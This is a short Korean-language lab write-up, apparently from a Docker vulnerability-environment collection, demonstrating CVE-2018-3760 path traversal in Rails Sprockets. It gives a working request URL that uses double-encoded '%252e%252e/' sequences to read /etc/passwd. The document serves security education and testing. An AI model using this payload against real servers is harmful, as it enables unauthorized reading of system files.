
Docker 기반 랩으로, Ruby on Rails Sprockets의 CVE-2018-3760 경로 탐색(path traversal) 취약점을 시연하며, 보안 테스트 및 교육을 위한 POC와 환경 설정을 포함합니다.
Ruby On Rails는 잘 알려진 Ruby 웹 개발 프레임워크로, 개발 환경에서 Sprockets를 정적 파일 서버로 사용합니다. Sprockets는 정적 리소스 파일을 컴파일하고 배포하는 Ruby 라이브러리입니다.
Sprockets 3.7.1 이하 버전에는 이중 디코딩으로 인한 경로 탐색 취약점이 있습니다. 공격자는 %252e%252e/를 사용하여 루트 디렉토리에 접근하고 대상 서버의 모든 파일을 읽거나 실행할 수 있습니다.
참고 링크:
다음 명령어를 입력하세요:
docker-compose up -d
http://your-ip:3000에 접속하면 환영 페이지가 표시됩니다.
http://your-ip:3000/assets/file:%2f%2f/etc/passwd에 직접 접속하면 오류가 발생합니다. 파일이 허용된 디렉토리에 없기 때문입니다.
/etc/passwd
오류 페이지에서 허용된 디렉토리 목록을 확인할 수 있습니다. 그중 하나(예: /usr/src/blog/app/assets/images)를 선택한 다음 %252e%252e/를 사용하여 상위 디렉토리로 이동하고, 최종적으로 /etc/passwd 파일을 읽습니다:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
